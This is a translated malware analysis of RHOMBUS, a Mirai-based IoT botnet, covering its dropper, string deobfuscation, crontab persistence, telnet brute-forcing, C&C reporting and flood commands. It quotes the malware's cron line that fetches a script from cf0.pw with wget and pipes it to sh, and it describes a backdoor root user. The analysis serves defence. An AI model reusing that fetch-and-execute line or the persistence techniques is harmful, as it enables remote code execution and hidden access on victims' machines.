一种新型物联网恶意软件分析案例

  • A+

译文声明
本文是翻译文章,文章原作者Lisandro Ubiedo,文章来源:https://www.stratosphereips.org
原文地址:https://www.stratosphereips.org/blog/2020/4/29/rhombus-a-new-iot-malware

2020年2月27日,著名的反恶意软件组织MalwareMustDie(MMD)分析并共享了一个他们称之为RHOMBUS的新型恶意软件。该恶意软件针对不同的架构进行了编译,具有持久化机制。

在这篇博文中,我们来一起探索这个恶意软件。
::: hljs-center

10.png
图1. 在Twitter上发布了MalwareMustDie的调查结果

:::

总览

本篇文章研究分析的是RHOMBUS的x86-64版本。根据VirusTotal的检测信息,此样本的检测率为4/59(59个AVs中有4个检测出此文件是恶意的)。二进制文件的所有符号信息被删除。尽管程序中存在大量字符串,但是我们并没有找到与恶意软件类型或C&C终端相关的信息。还有一个有趣的地方在于这个二进制文件是一个ELF共享对象,而不是通常的可执行文件,该二进制文件是由两个ELF文件链接组成的。

```language

DECIMAL HEXADECIMAL DESCRIPTION

0 0x0 ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
8407 0x20D7 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
```
为了弄清这两个二进制文件哪个是dropper,我们着手进行分析。

main函数

main函数位于偏移量0xef0处,它首先调用了obfuscate_str函数,该函数的作用是对混淆的字符进行还原。然后将函数的返回值当做参数传入open函数,并调用lseek来查找偏移量0x20d7。这是一个线索。下一步需要搞清楚它打开了什么文件?为了解决这个疑问,我们需要弄清楚代码混淆的整个过程,并分离出混淆前后的代码。
::: hljs-center

11.png
图2.字符串混淆函数流程图。绿色粗体箭头表示正在逐字符进行反混淆

:::

混淆的方法是将原始的字符与给定的字符数组进行一系列运算得到的,运算逻辑如下:
```language
original_array = ["a","b","c", ...]
mutate_array = ["X","-","0", ...]

foreach character in obfuscated_string:
for (position = 0; position < 87; position + 1):
if character == mutated_array[position]:
original_string += original_array[position]
break

return original_string
```
::: hljs-center

12.png
图3.第一行是给定的字符数组,第二行是原始未处理的字符列表

:::

在对字符进行处理之后,作为参数传递给open函数。然后恶意软件打开了/ proc / self / exe,这个才是真正的恶意负载。至此,第一个elf文件的作用已经明晰,为加载第二个elf文件做准备,恶意程序首先会在/tmp目录下创建一个临时文件,其文件名为filexxxxx,其中xxxx是一串随机数字,然后将恶意代码写入临时文件,并执行。
::: hljs-center

13.png
图4.创建一个临时文件过程

:::

此后,便开始执行第二个elf文件。首先为了隐藏自身会删除临时文件,仅保留在内存中。

::: hljs-center

14.png
图5.第二阶段执行和临时文件删除的执行流程。

:::

Dropper的持久性

该恶意软件(特别是该dropper)保持其持久性的方法是修改crontab,周期性(每小时)执行的shell脚本。这种技术在IoT和Linux恶意软件中很常见。

恶意软件shell脚本为:
language
#!/ bin / sh
wget --quiet http://cf0.pw/0/etc/cron.hourly/0 -O- 2> / dev / null | sh> / dev / null 2>&1

脚本的作用是从cf0.pw(现已失效)中下载一个新的shell脚本,然后执行。下面是该shell脚本的恶意功能:
1.禁用SELinux。
2.将用户sudev添加为root,用户密码使用MD5进行加密
3.删除文件
4.发送GET请求到http://cf0.pw/log/以记录受害者的IP地址。
5.安装cron脚本和wget / curl(如果以前未安装)。

通过这个shell脚本,恶意软件可以在系统中持续存在,还可以在僵尸主机创建后门,使用记录的ip访问系统。

第二阶段

我们已经分析了dropper的动作与功能,现在我们来讨论具体的代码实现。这是一个64位的elf可执行文件,采用静态链接的方式,同样也删除了符号表。乍一看这个文件的代码结构,与Mirai代码库颇为相似,除了将密钥更改为0xDEDDEFFB之外,数据混淆的手法也相同。

类比于Mirai,该恶意软件随机选择ip进行攻击,攻击手法是通过telnet弱口令。首先向目标主机发送TCP SYN数据包探测目标主机是否存活,如果收到TCP SYN + ACK响应包,则与目标主机建立连接。通过这种手法来快速寻找靶机(如图六)

::: hljs-center

15.png

图6.恶意软件攻击产生的数据包,灰色的行是SYN包,黑色的行是TCP乱序或重传SYN包。

:::

在Telnet扫描和暴力破解过程中,恶意软件一共向不同的ip的23端口发送了1,418,630个 TCP SYN数据包。其中成功通过Telnet连接上52个IP,传输101 KB数据。

另外,在攻击中恶意软件还尝试与特定IP126.69.167的2020端口进行通信。恶意软件利用此连接进行报告和C&C。如果成功连接上该主机,它将发送字符串“ jm:_:1 ”(如果是使用命令行参数执行了恶意软件,则将发送字符串“ jm:STRING:1”),以确认在将“IVEBEENEXECUTED”打印到屏幕控制台时启动bot。然后开始从C&C读取命令。

::: hljs-center

16.png
图7.将服务器地址硬编码到二进制文件中。

:::

出于某种目的,恶意软件还会打开本地监听的25905 / TCP端口或设备正在使用的IP地址。

该bot可以接受一系列命令:
• UDP:UDP洪泛。
• TCP:TCP洪泛。
• GRE:GRE洪泛。
• THREADHTTP:利用HTTP请求发动的洪泛攻击,
• KT:杀死线程。
• UPDATE:更新机器人。

如果收到“ UPDATE”命令,则bot将连接到备用端口4634,并从C&C下载新版本。这个名为EgrsFc的新文件将被执行,原本的进程将被杀死,如图8所示。

::: hljs-center

17.png
图8.更新流程,在此过程中使用了不同的端口,但使用了相同的C&C IP地址。

:::

结论

如今,这种使用Mirai代码库的恶意软件家族在物联网生态系统中是很正常的。作者利用的正是Mirai的完备功能和易于修改的特性来适应DDoS攻击和僵尸网络的需要。在RHOMBUS的例子中,这个代码库还结合了新的攻击手段,以持久化和删除不同的阶段和更新,同时还对目标主机植入后门。

本文讨论的恶意软件行为包括:

• 使用硬编码密码创建的超级用户sudev。
• SELinux强制设置为permissive。
• 创建的Cron脚本:
language
/etc/cron.hourly/0
/etc/cron.daily/0
/etc/cron.weekly/0
/etc/cron.monthly/0

•本地侦听25905端口。

相关推荐: AFL初体验

安装 环境 安装环境:(有点大,可以先换下源) bash $ sudo apt-get install clang-6.0 build-essential llvm-6.0-dev gnuplot-nox 修改配置 bash $ sudo update-alt…